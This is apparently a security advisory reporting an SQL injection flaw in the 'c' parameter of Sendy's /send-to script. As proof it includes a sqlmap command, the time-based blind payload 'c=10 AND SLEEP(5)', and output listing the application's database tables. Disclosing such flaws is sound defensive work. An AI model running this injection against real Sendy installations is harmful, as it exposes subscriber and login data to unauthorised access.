Sendy contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the /send-to script not properly sanitizing user-supplied input to the "c" parameter. This may allow a remote attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data. Proofs: # sqlmap -u 'http://server1/send-to?i=1&c=10' --cookie="version=1.1.9.1; PHPSESSID=[phpsessid value]; logged_in=[logged_in value]" -p c -D sendy --tables sqlmap/1.0-dev - automatic SQL injection and database takeover tool http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 11:48:57 [11:48:57] [INFO] resuming back-end DBMS 'mysql' [11:48:57] [INFO] testing connection to the target URL sqlmap identified the following injection points with a total of 0 HTTP(s) requests: --- Place: GET Parameter: c Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: c=10 AND SLEEP(5)&i=1 --- [...] Database: sendy [9 tables] +-------------+ | apps | | ares | | ares_emails | | campaigns | | links | | lists | | login | | queue | | subscribers | +-------------+